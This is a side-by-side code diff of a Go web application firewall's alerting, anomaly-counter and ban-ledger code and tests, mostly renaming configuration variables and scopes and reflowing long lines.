// netblock returns the n-th netblock of a test, counted from 0. // netblock returns the n-th netblock of a test, counted from 0.
func netblock(n int) netip.Prefix { func netblock(n int) netip.Prefix {
return netip.MustParsePrefix(fmt.Sprintf("203.0.%d.%d/32", 113+n/256, n%256)) return netip.MustParsePrefix(
fmt.Sprintf("203.0.%d.%d/32", 113+n/256, n%256),
)
} }
// roundTrip returns state once written as JSON and read back, as // roundTrip returns state once written as JSON and read back, as
@@ -1223,12 +1423,22 @@ func wantEvents(t *testing.T, webhook *standIn, want ...string) {
// requests to it that it counts as failed, the alerts it counts as held // requests to it that it counts as failed, the alerts it counts as held
// back, and those it counts as dropped for the webhook. // back, and those it counts as dropped for the webhook.
func wantCounts( func wantCounts(
t *testing.T, q *alerts.Queue, sent, failed, suppressed, dropped int64, t *testing.T,
q *alerts.Queue,
sent, sendFailures, suppressed, dropped int64,
) { ) {
t.Helper() t.Helper()
wantDestinationCounts(t, q, alerts.DestinationWebhook, wantDestinationCounts(
alerts.Counts{Sent: sent, Failed: failed, Dropped: dropped}) t,
q,
alerts.DestinationWebhook,
alerts.Counts{
Sent: sent,
SendFailures: sendFailures,
Dropped: dropped,
},
)
if q.Suppressed() != suppressed { if q.Suppressed() != suppressed {
t.Errorf("%d alerts held back, want %d", q.Suppressed(), suppressed) t.Errorf("%d alerts held back, want %d", q.Suppressed(), suppressed)
@@ -1254,39 +1464,43 @@ type eventMessage struct {
title, priorityAndTag, text string title, priorityAndTag, text string
} }
// anAlertForEachEvent returns an alert for each event SWWAF_ALERT_EVENTS // anAlertForEachEvent returns an alert for each event SWW_WAF_ALERT_EVENTS
// names, the first in observe mode, each with its message. // names, the first in observe mode, each with its message.
func anAlertForEachEvent() []eventMessage { func anAlertForEachEvent() []eventMessage {
return []eventMessage{ return []eventMessage{
{ {
alerts.Alert{ alerts.Alert{
Event: alerts.EventBan, Client: netip.MustParseAddr("203.0.113.9"), Event: alerts.EventBan, Client: netip.MustParseAddr("203.0.113.9"),
Netblock: netip.MustParsePrefix("203.0.113.0/24"), Country: "DE", Netblock: netip.MustParsePrefix(
"203.0.113.0/24",
), Country: "DE",
Reason: "requests per hour over the limit of 10000", Reason: "requests per hour over the limit of 10000",
Detail: map[string]any{"mode": "observe"}, Detail: map[string]any{"mode": "observe"},
}, },
"fsn1app1/gitea: ban", "default no_entry", "fsn1app1/blog: ban", "default no_entry",
"requests per hour over the limit of 10000\nclient: 203.0.113.9\n" + "requests per hour over the limit of 10000\nclient: 203.0.113.9\n" +
"netblock: 203.0.113.0/24\ncountry: DE\nmode: observe", "netblock: 203.0.113.0/24\ncountry: DE\nmode: observe",
}, },
{ {
alerts.Alert{ alerts.Alert{
Event: alerts.EventPermanentBan, Client: netip.MustParseAddr("198.51.100.7"), Event: alerts.EventPermanentBan, Client: netip.MustParseAddr("198.51.100.7"),
Netblock: netip.MustParsePrefix("198.51.100.7/32"), Country: "FR", Netblock: netip.MustParsePrefix(
"198.51.100.7/32",
), Country: "FR",
Reason: "matched the rule env-file", Reason: "matched the rule env-file",
}, },
"fsn1app1/gitea: permanent_ban", "high no_entry", "fsn1app1/blog: permanent_ban", "high no_entry",
"matched the rule env-file\nclient: 198.51.100.7\n" + "matched the rule env-file\nclient: 198.51.100.7\n" +
"netblock: 198.51.100.7/32\ncountry: FR", "netblock: 198.51.100.7/32\ncountry: FR",
}, },
{ {
alerts.Alert{ alerts.Alert{
Event: alerts.EventWAFBlock, Client: netip.MustParseAddr("192.0.2.1"), Event: alerts.EventCoreRuleSetMatch, Client: netip.MustParseAddr("192.0.2.1"),
Netblock: netip.MustParsePrefix("192.0.2.1/32"), Netblock: netip.MustParsePrefix("192.0.2.1/32"),
Reason: "refused by the Core Rule Set", Reason: "refused by the Core Rule Set",
Host: "app.example", Host: "app.example",
}, },
"fsn1app1/gitea: waf_block", "default shield", "fsn1app1/blog: core_rule_set_match", "default shield",
"refused by the Core Rule Set\nhost: app.example\nclient: 192.0.2.1\n" + "refused by the Core Rule Set\nhost: app.example\nclient: 192.0.2.1\n" +
"netblock: 192.0.2.1/32", "netblock: 192.0.2.1/32",
}, },
@@ -1295,7 +1509,7 @@ func anAlertForEachEvent() []eventMessage {
Event: alerts.EventAnomaly, Netblock: netip.MustParsePrefix("192.0.2.0/24"), Event: alerts.EventAnomaly, Netblock: netip.MustParsePrefix("192.0.2.0/24"),
Reason: "requests per minute over the threshold of 5000", Reason: "requests per minute over the threshold of 5000",
}, },
"fsn1app1/gitea: anomaly", "high chart_with_upwards_trend", "fsn1app1/blog: anomaly", "high chart_with_upwards_trend",
"requests per minute over the threshold of 5000\nnetblock: 192.0.2.0/24", "requests per minute over the threshold of 5000\nnetblock: 192.0.2.0/24",
}, },
{ {
@@ -1304,7 +1518,7 @@ func anAlertForEachEvent() []eventMessage {
Netblock: netip.MustParsePrefix("192.0.2.2/32"), Netblock: netip.MustParsePrefix("192.0.2.2/32"),
Reason: "listed by a DNS blocklist", Reason: "listed by a DNS blocklist",
}, },
"fsn1app1/gitea: reputation_hit", "low label", "fsn1app1/blog: reputation_hit", "low label",
"listed by a DNS blocklist\nclient: 192.0.2.2\nnetblock: 192.0.2.2/32", "listed by a DNS blocklist\nclient: 192.0.2.2\nnetblock: 192.0.2.2/32",
}, },
{ {
@@ -1312,7 +1526,7 @@ func anAlertForEachEvent() []eventMessage {
Event: alerts.EventSourceFailure, Reason: "asking GeoJS failed", Event: alerts.EventSourceFailure, Reason: "asking GeoJS failed",
Detail: map[string]any{"source": "geojs"}, Detail: map[string]any{"source": "geojs"},
}, },
"fsn1app1/gitea: source_failure", "high warning", "fsn1app1/blog: source_failure", "high warning",
"asking GeoJS failed\nsource: geojs", "asking GeoJS failed\nsource: geojs",
}, },
{ {
@@ -1320,12 +1534,12 @@ func anAlertForEachEvent() []eventMessage {
Event: alerts.EventFileError, Event: alerts.EventFileError,
Reason: "a rule file has an error, and the rules stay as they were", Reason: "a rule file has an error, and the rules stay as they were",
Detail: map[string]any{ Detail: map[string]any{
"file": "/etc/smallwebwaf/rules.d/50-app.rules", "error": "line 2: no action", "file": "/etc/sww/rules.d/50-app.rules", "error": "line 2: no action",
}, },
}, },
"fsn1app1/gitea: file_error", "high warning", "fsn1app1/blog: file_error", "high warning",
"a rule file has an error, and the rules stay as they were\n" + "a rule file has an error, and the rules stay as they were\n" +
"file: /etc/smallwebwaf/rules.d/50-app.rules\nerror: line 2: no action", "file: /etc/sww/rules.d/50-app.rules\nerror: line 2: no action",
}, },
} }
} }
@@ -1347,18 +1561,30 @@ func wantSlackMessage(t *testing.T, request post, text string) {
// wantNtfyMessage checks that request, one ntfy was sent, posted the // wantNtfyMessage checks that request, one ntfy was sent, posted the
// message text with the title, and with the priority and the tag // message text with the title, and with the priority and the tag
// priorityAndTag gives, with a space between them. // priorityAndTag gives, with a space between them.
func wantNtfyMessage(t *testing.T, request post, title, priorityAndTag, text string) { func wantNtfyMessage(
t *testing.T,
request post,
title, priorityAndTag, text string,
) {
t.Helper() t.Helper()
got := []string{ got := []string{
request.method, request.url, request.header.Get("Title"), request.method, request.url, request.header.Get("Title"),
request.header.Get("Priority") + " " + request.header.Get("Tags"), request.body, request.header.Get(
"Priority",
) + " " + request.header.Get(
"Tags",
), request.body,
} }
want := []string{http.MethodPost, ntfyURL, title, priorityAndTag, text} want := []string{http.MethodPost, ntfyURL, title, priorityAndTag, text}
if !slices.Equal(got, want) { if !slices.Equal(got, want) {
t.Errorf("ntfy was sent the method, URL, title, priority and tag, and text "+ t.Errorf(
"%q, want %q", got, want) "ntfy was sent the method, URL, title, priority and tag, and text "+
"%q, want %q",
got,
want,
)
} }
} }
+58 -24
View File
@@ -28,22 +28,28 @@ const maxCounters = 20000
// alerts name them. // alerts name them.
const ( const (
// ScopeClient is one client: an IPv4 address, or an IPv6 netblock of // ScopeClient is one client: an IPv4 address, or an IPv6 netblock of
// SWWAF_IPV6_GROUP_PREFIX. // SWW_WAF_IPV6_GROUP_PREFIX.
ScopeClient = "client" ScopeClient = "client"
// ScopeNet is the netblock around a client, SWWAF_ANOMALY_NET_V4_PREFIX // ScopeNet is the netblock around a client, SWW_WAF_ANOMALY_NET_V4_PREFIX
// or SWWAF_ANOMALY_NET_V6_PREFIX long. // or SWW_WAF_ANOMALY_NET_V6_PREFIX long.
ScopeNet = "net" ScopeNet = "net"
// ScopeASN is an AS number. // ScopeASN is an AS number.
ScopeASN = "asn" ScopeASN = "asn"
// ScopeTotal is the whole service. // ScopeTotal is the whole service.
ScopeTotal = "total" ScopeTotal = "total"
// ScopeWatch is a named netblock of SWWAF_WATCH_NETS. // ScopeWatchedNet is a named netblock of SWW_WAF_ANOMALY_WATCHED_NETS.
ScopeWatch = "watch" ScopeWatchedNet = "watched_net"
) )
// Scopes returns every scope. // Scopes returns every scope.
func Scopes() []string { func Scopes() []string {
return []string{ScopeClient, ScopeNet, ScopeASN, ScopeTotal, ScopeWatch} return []string{
ScopeClient,
ScopeNet,
ScopeASN,
ScopeTotal,
ScopeWatchedNet,
}
} }
// The windows a counter counts in, as the alerts name them. // The windows a counter counts in, as the alerts name them.
@@ -62,7 +68,7 @@ type Thresholds struct {
BytesPerHour int64 BytesPerHour int64
} }
// NamedNetblock is a netblock SWWAF_WATCH_NETS names. // NamedNetblock is a netblock SWW_WAF_ANOMALY_WATCHED_NETS names.
type NamedNetblock struct { type NamedNetblock struct {
Name string Name string
Netblock netip.Prefix Netblock netip.Prefix
@@ -70,14 +76,14 @@ type NamedNetblock struct {
// Params are what New needs. // Params are what New needs.
type Params struct { type Params struct {
// The thresholds of each scope: SWWAF_ANOMALY_CLIENT_*, // The thresholds of each scope: SWW_WAF_ANOMALY_CLIENT_*,
// SWWAF_ANOMALY_NET_*, SWWAF_ANOMALY_ASN_*, SWWAF_ANOMALY_TOTAL_* and // SWW_WAF_ANOMALY_NET_*, SWW_WAF_ANOMALY_ASN_*, SWW_WAF_ANOMALY_TOTAL_* and
// SWWAF_WATCH_*. // SWW_WAF_ANOMALY_WATCHED_NET_*.
Client, Net, ASN, Total, Watch Thresholds Client, Net, ASN, Total, WatchedNet Thresholds
// NetV4Prefix and NetV6Prefix are the lengths of the netblock around a // NetV4Prefix and NetV6Prefix are the lengths of the netblock around a
// client (SWWAF_ANOMALY_NET_V4_PREFIX and SWWAF_ANOMALY_NET_V6_PREFIX). // client (SWW_WAF_ANOMALY_NET_V4_PREFIX and SWW_WAF_ANOMALY_NET_V6_PREFIX).
NetV4Prefix, NetV6Prefix int NetV4Prefix, NetV6Prefix int
// NamedNetblocks are SWWAF_WATCH_NETS. // NamedNetblocks are SWW_WAF_ANOMALY_WATCHED_NETS.
NamedNetblocks []NamedNetblock NamedNetblocks []NamedNetblock
// Alerts receive the anomaly alerts. // Alerts receive the anomaly alerts.
Alerts *alerts.Queue Alerts *alerts.Queue
@@ -107,13 +113,13 @@ type Request struct {
Host string Host string
// Client is the client's address, and ClientGroup the client it is // Client is the client's address, and ClientGroup the client it is
// counted as: its IPv4 address, or the IPv6 netblock of // counted as: its IPv4 address, or the IPv6 netblock of
// SWWAF_IPV6_GROUP_PREFIX its address is in. // SWW_WAF_IPV6_GROUP_PREFIX its address is in.
Client netip.Addr Client netip.Addr
ClientGroup netip.Prefix ClientGroup netip.Prefix
// ASN, ASName and Country are the client's as looked up, each "" when // ASN, ASName and Country are the client's as looked up, each "" when
// unknown. // unknown.
ASN, ASName, Country string ASN, ASName, Country string
// Bytes are the request's bytes, as SWWAF_BYTES_COUNT counts them. // Bytes are the request's bytes, as SWW_WAF_BYTES_COUNTED counts them.
Bytes int64 Bytes int64
} }
@@ -191,8 +197,12 @@ func (c *Counters) Snapshot() []Counter {
c.mu.Unlock() c.mu.Unlock()
slices.SortFunc(counters, func(a, b Counter) int { slices.SortFunc(counters, func(a, b Counter) int {
return cmp.Or(cmp.Compare(a.Scope, b.Scope), a.Netblock.Compare(b.Netblock), return cmp.Or(
cmp.Compare(a.ASN, b.ASN), cmp.Compare(a.Name, b.Name)) cmp.Compare(a.Scope, b.Scope),
a.Netblock.Compare(b.Netblock),
cmp.Compare(a.ASN, b.ASN),
cmp.Compare(a.Name, b.Name),
)
}) })
return counters return counters
@@ -257,7 +267,11 @@ func (c *Counters) scopesOf(r Request) []scope {
for _, named := range p.NamedNetblocks { for _, named := range p.NamedNetblocks {
if named.Netblock.Contains(client) { if named.Netblock.Contains(client) {
all = append(all, scope{ all = append(all, scope{
key{scope: ScopeWatch, netblock: named.Netblock, name: named.Name}, p.Watch, key{
scope: ScopeWatchedNet,
netblock: named.Netblock,
name: named.Name,
}, p.WatchedNet,
}) })
} }
} }
@@ -316,7 +330,12 @@ func (c *Counter) add(
counted := count.buckets.Add(now, count.length, n) counted := count.buckets.Add(now, count.length, n)
if !passed && counted > float64(threshold) { if !passed && counted > float64(threshold) {
first = overThreshold{count.kind, count.window, counted, threshold} first = overThreshold{
count.kind,
count.window,
counted,
threshold,
}
passed = true passed = true
} }
} }
@@ -359,12 +378,22 @@ func (c *Counter) lastStart() time.Time {
// key returns what tells c from the other counters. // key returns what tells c from the other counters.
func (c *Counter) key() key { func (c *Counter) key() key {
return key{scope: c.Scope, netblock: c.Netblock, asn: c.ASN, name: c.Name} return key{
scope: c.Scope,
netblock: c.Netblock,
asn: c.ASN,
name: c.Name,
}
} }
// counter returns a counter for k, with nothing counted yet. // counter returns a counter for k, with nothing counted yet.
func (k key) counter() *Counter { func (k key) counter() *Counter {
return &Counter{Scope: k.scope, Netblock: k.netblock, ASN: k.asn, Name: k.name} return &Counter{
Scope: k.scope,
Netblock: k.netblock,
ASN: k.asn,
Name: k.name,
}
} }
// alertFor returns the anomaly alert for o, a count over its threshold in // alertFor returns the anomaly alert for o, a count over its threshold in
@@ -391,7 +420,7 @@ func alertFor(r Request, k key, o overThreshold) alerts.Alert {
detail["asn"] = k.asn detail["asn"] = k.asn
case ScopeTotal: case ScopeTotal:
counted = "the whole service" counted = "the whole service"
default: // watch default: // watched_net
counted = "the named netblock " + k.name + ", " + k.netblock.String() counted = "the named netblock " + k.name + ", " + k.netblock.String()
detail["name"] = k.name detail["name"] = k.name
} }
@@ -404,8 +433,13 @@ func alertFor(r Request, k key, o overThreshold) alerts.Alert {
ASN: r.ASN, ASN: r.ASN,
ASName: r.ASName, ASName: r.ASName,
Country: r.Country, Country: r.Country,
Reason: fmt.Sprintf("%s per %s of %s over the threshold of %d", o.kind, o.window, Reason: fmt.Sprintf(
counted, o.threshold), "%s per %s of %s over the threshold of %d",
o.kind,
o.window,
counted,
o.threshold,
),
Detail: detail, Detail: detail,
} }
} }
+44 -15
View File
@@ -26,12 +26,15 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
overAtTheSecond := anomaly.Thresholds{RequestsPerMinute: 1} overAtTheSecond := anomaly.Thresholds{RequestsPerMinute: 1}
counters := anomaly.New(anomaly.Params{ counters := anomaly.New(anomaly.Params{
Client: overAtTheSecond, Net: overAtTheSecond, ASN: overAtTheSecond, Client: overAtTheSecond, Net: overAtTheSecond, ASN: overAtTheSecond,
Total: overAtTheSecond, Watch: overAtTheSecond, Total: overAtTheSecond, WatchedNet: overAtTheSecond,
// The netblock around a client is the client's own, and two names // The netblock around a client is the client's own, and two names
// name one netblock. // name one netblock.
NetV4Prefix: 32, NetV4Prefix: 32,
NamedNetblocks: []anomaly.NamedNetblock{ NamedNetblocks: []anomaly.NamedNetblock{
{Name: "office", Netblock: office}, {Name: "hq", Netblock: office}, {
Name: "office",
Netblock: office,
}, {Name: "hq", Netblock: office},
}, },
Alerts: queue, Alerts: queue,
}) })
@@ -80,11 +83,16 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
} }
if after.Suppressed() != 9 { if after.Suppressed() != 9 {
t.Errorf("after loading, %d alerts are held back, want 9", after.Suppressed()) t.Errorf(
"after loading, %d alerts are held back, want 9",
after.Suppressed(),
)
} }
} }
func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(t *testing.T) { func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(
t *testing.T,
) {
t.Parallel() t.Parallel()
counters := newCounters(anomaly.Params{ counters := newCounters(anomaly.Params{
@@ -103,17 +111,28 @@ func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(t *testing.T) {
got := counters.Snapshot() got := counters.Snapshot()
if len(got) != maxCounters || !holds(got, 0) || holds(got, 1) || if len(got) != maxCounters || !holds(got, 0) || holds(got, 1) ||
!holds(got, maxCounters) { !holds(got, maxCounters) {
t.Errorf("%d counters, holding the first client %v, the second %v and the "+ t.Errorf(
"new one %v, want %d, the first and the new one", len(got), holds(got, 0), "%d counters, holding the first client %v, the second %v and the "+
holds(got, 1), holds(got, maxCounters), maxCounters) "new one %v, want %d, the first and the new one",
len(got),
holds(got, 0),
holds(got, 1),
holds(got, maxCounters),
maxCounters,
)
} }
} }
func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(t *testing.T) { func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(
t *testing.T,
) {
t.Parallel() t.Parallel()
counters := newCounters(anomaly.Params{ counters := newCounters(anomaly.Params{
Net: anomaly.Thresholds{RequestsPerMinute: 1000, RequestsPerHour: 1000}, Net: anomaly.Thresholds{
RequestsPerMinute: 1000,
RequestsPerHour: 1000,
},
Total: anomaly.Thresholds{RequestsPerMinute: 1000}, Total: anomaly.Thresholds{RequestsPerMinute: 1000},
NetV4Prefix: 24, NetV4Prefix: 24,
}) })
@@ -142,7 +161,9 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(t *testing.T)
Hour: ratelimit.Buckets{Start: midnight(), Current: 7}, Hour: ratelimit.Buckets{Start: midnight(), Current: 7},
} }
if got, want := counters.Snapshot(), []anomaly.Counter{netblock}; !reflect.DeepEqual( if got, want := counters.Snapshot(), []anomaly.Counter{netblock}; !reflect.DeepEqual(
got, want) { got,
want,
) {
t.Errorf("counters read\n%+v\nwant\n%+v", got, want) t.Errorf("counters read\n%+v\nwant\n%+v", got, want)
} }
@@ -192,9 +213,12 @@ func TestLoadDropsTheLeastRecentlyCountedFirst(t *testing.T) {
got := counters.Snapshot() got := counters.Snapshot()
if !holds(got, 0) || holds(got, maxCounters/2) { if !holds(got, 0) || holds(got, maxCounters/2) {
t.Errorf("holding the first client of the file %v, and the first counted in "+ t.Errorf(
"the minute before %v, want only the first", holds(got, 0), "holding the first client of the file %v, and the first counted in "+
holds(got, maxCounters/2)) "the minute before %v, want only the first",
holds(got, 0),
holds(got, maxCounters/2),
)
} }
} }
@@ -225,9 +249,14 @@ func newQueue() *alerts.Queue {
// request returns a request from client number i, an address in // request returns a request from client number i, an address in
// 10.0.0.0/8. // 10.0.0.0/8.
func request(i int) anomaly.Request { func request(i int) anomaly.Request {
client := netip.MustParseAddr(fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255)) client := netip.MustParseAddr(
fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255),
)
return anomaly.Request{Client: client, ClientGroup: netip.PrefixFrom(client, 32)} return anomaly.Request{
Client: client,
ClientGroup: netip.PrefixFrom(client, 32),
}
} }
// holds reports whether counters hold the counter of client number i. // holds reports whether counters hold the counter of client number i.
+201 -52
View File
@@ -13,7 +13,7 @@ func TestBanWithoutACauseIsAnAdmins(t *testing.T) {
t.Parallel() t.Parallel()
netblock := netip.MustParsePrefix("203.0.113.0/24") netblock := netip.MustParsePrefix("203.0.113.0/24")
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
ledger.Load([]bans.Ban{{Netblock: netblock, Start: midnight()}}) ledger.Load([]bans.Ban{{Netblock: netblock, Start: midnight()}})
if got := ledger.Bans(netblock)[0].Cause; got != bans.CauseAdmin { if got := ledger.Bans(netblock)[0].Cause; got != bans.CauseAdmin {
@@ -24,21 +24,33 @@ func TestBanWithoutACauseIsAnAdmins(t *testing.T) {
func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) { func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
t.Parallel() t.Parallel()
rules := defaultRules() params := defaultParams()
rules.MaxBans = 1 params.MaxBans = 1
ledger := bans.New(rules) ledger := bans.New(params)
adminsOnly := netip.MustParsePrefix("198.51.100.0/24") adminsOnly := netip.MustParsePrefix("198.51.100.0/24")
both := netip.MustParsePrefix("203.0.113.1/32") both := netip.MustParsePrefix("203.0.113.1/32")
second := netip.MustParsePrefix("203.0.113.2/32") second := netip.MustParsePrefix("203.0.113.2/32")
third := netip.MustParsePrefix("203.0.113.3/32") third := netip.MustParsePrefix("203.0.113.3/32")
// Seen longest ago, a netblock with two of an admin's bans alone, and // Seen longest ago, a netblock with two of an admin's bans alone, and
// then one with an admin's ban before a ban smallwebwaf made: the one // then one with an admin's ban before a ban sww made: the one
// ban counted toward MaxBans. // ban counted toward MaxBans.
ledger.Load([]bans.Ban{ ledger.Load([]bans.Ban{
{Netblock: adminsOnly, Start: midnight().Add(-3 * time.Hour), Cause: bans.CauseAdmin}, {
{Netblock: adminsOnly, Start: midnight().Add(-2 * time.Hour), Cause: bans.CauseAdmin}, Netblock: adminsOnly,
{Netblock: both, Start: midnight().Add(-time.Hour), Cause: bans.CauseAdmin}, Start: midnight().Add(-3 * time.Hour),
Cause: bans.CauseAdmin,
},
{
Netblock: adminsOnly,
Start: midnight().Add(-2 * time.Hour),
Cause: bans.CauseAdmin,
},
{
Netblock: both,
Start: midnight().Add(-time.Hour),
Cause: bans.CauseAdmin,
},
{ {
Netblock: both, Netblock: both,
Start: midnight(), Start: midnight(),
@@ -48,25 +60,37 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
}) })
wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 2}) wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 2})
// A new ban drops the ban smallwebwaf made, and only that one. // A new ban drops the ban sww made, and only that one.
ledger.BanForLimit(second, midnight(), bans.Notes{}) ledger.BanForLimit(second, midnight(), bans.Notes{})
wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1}) wantBans(
t,
ledger,
map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1},
)
if ledger.Bans(both)[0].Cause != bans.CauseAdmin { if ledger.Bans(both)[0].Cause != bans.CauseAdmin {
t.Errorf("%s kept %+v, want the admin's ban", both, ledger.Bans(both)) t.Errorf(
"%s kept %+v, want the admin's ban",
both,
ledger.Bans(both),
)
} }
// And the next drops that one. // And the next drops that one.
ledger.BanForLimit(third, midnight(), bans.Notes{}) ledger.BanForLimit(third, midnight(), bans.Notes{})
wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1}) wantBans(
t,
ledger,
map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1},
)
} }
func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) { func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
t.Parallel() t.Parallel()
rules := defaultRules() params := defaultParams()
rules.MaxBans = 2 params.MaxBans = 2
ledger := bans.New(rules) ledger := bans.New(params)
netblock := netip.MustParsePrefix("203.0.113.1/32") netblock := netip.MustParsePrefix("203.0.113.1/32")
other := netip.MustParsePrefix("203.0.113.2/32") other := netip.MustParsePrefix("203.0.113.2/32")
@@ -74,7 +98,11 @@ func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
// twice, each time after its last ban has ended. // twice, each time after its last ban has ended.
ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute), ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute),
"probes for logins") "probes for logins")
first, _ := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{}) first, _ := ledger.BanForLimit(
netblock,
midnight().Add(time.Minute),
bans.Notes{},
)
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{}) second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
// A ban on another netblock fills the ledger, and the netblock's first // A ban on another netblock fills the ledger, and the netblock's first
@@ -93,7 +121,7 @@ func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
func TestEarlierBansCountABanAnAdminKeepsOnce(t *testing.T) { func TestEarlierBansCountABanAnAdminKeepsOnce(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.1/32") netblock := netip.MustParsePrefix("203.0.113.1/32")
// The netblock breaks a limit twice, the second time after its first // The netblock breaks a limit twice, the second time after its first
@@ -114,17 +142,26 @@ func TestEarlierBansCountABanAnAdminKeepsOnce(t *testing.T) {
} }
} }
func TestReasonOfTheBansSmallwebwafMakes(t *testing.T) { func TestReasonOfTheBansSwwMakes(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
limit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(), limit, _ := ledger.BanForLimit(
bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"}) netip.MustParsePrefix("203.0.113.1/32"),
byteLimit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.3/32"), midnight(),
midnight(), bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"}) bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"},
attack, _ := ledger.BanForAttack(netip.MustParsePrefix("203.0.113.2/32"), midnight(), )
bans.Notes{RuleID: "git-dir", Target: "path"}) byteLimit, _ := ledger.BanForLimit(
netip.MustParsePrefix("203.0.113.3/32"),
midnight(),
bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"},
)
attack, _ := ledger.BanForAttack(
netip.MustParsePrefix("203.0.113.2/32"),
midnight(),
bans.Notes{RuleID: "git-dir", Target: "path"},
)
for _, tc := range []struct{ got, want string }{ for _, tc := range []struct{ got, want string }{
{limit.Reason, "requests per minute over the limit of 1000"}, {limit.Reason, "requests per minute over the limit of 1000"},
@@ -150,7 +187,7 @@ func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) {
Lifted: midnight().Add(10 * time.Minute), Lifted: midnight().Add(10 * time.Minute),
} }
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
ledger.Load([]bans.Ban{lifted}) ledger.Load([]bans.Ban{lifted})
// While it would still last, it refuses nothing, and a limit broken // While it would still last, it refuses nothing, and a limit broken
@@ -166,22 +203,30 @@ func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) {
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{}) ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
if ban.Expires.Sub(ban.Start) != time.Hour || if ban.Expires.Sub(ban.Start) != time.Hour ||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
t.Errorf("the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit", t.Errorf(
ban.Expires.Sub(ban.Start), ban.Notes.EarlierBans) "the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit",
ban.Expires.Sub(ban.Start),
ban.Notes.EarlierBans,
)
} }
held := ledger.Bans(netblock) held := ledger.Bans(netblock)
if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) { if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) {
t.Errorf("the ledger holds %+v, want the lifted ban and the new one", held) t.Errorf(
"the ledger holds %+v, want the lifted ban and the new one",
held,
)
} }
} }
func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) { func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(
t *testing.T,
) {
t.Parallel() t.Parallel()
// A permanent ban for a clear sign of attack, lifted. // A permanent ban for a clear sign of attack, lifted.
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
ledger.Load([]bans.Ban{{ ledger.Load([]bans.Ban{{
Netblock: netblock, Netblock: netblock,
Start: midnight(), Start: midnight(),
@@ -198,22 +243,32 @@ func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) {
active, permanent := ledger.Count(now) active, permanent := ledger.Count(now)
if active != 0 || permanent != 0 { if active != 0 || permanent != 0 {
t.Errorf("%d bans are active and %d permanent, want none", active, permanent) t.Errorf(
"%d bans are active and %d permanent, want none",
active,
permanent,
)
} }
// The next clear sign of attack bans for seven days, as a first does. // The next clear sign of attack bans for seven days, as a first does.
ban, _ := ledger.BanForAttack(netblock, now, bans.Notes{}) ban, _ := ledger.BanForAttack(netblock, now, bans.Notes{})
if ban.Expires.Sub(ban.Start) != 7*day { if ban.Expires.Sub(ban.Start) != 7*day {
t.Errorf("the next ban for an attack ends at %s, want seven days on", ban.Expires) t.Errorf(
"the next ban for an attack ends at %s, want seven days on",
ban.Expires,
)
} }
} }
func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) { func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
made, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(), made, _ := ledger.BanForLimit(
bans.Notes{}) netip.MustParsePrefix("203.0.113.1/32"),
midnight(),
bans.Notes{},
)
atStart := bans.Ban{ atStart := bans.Ban{
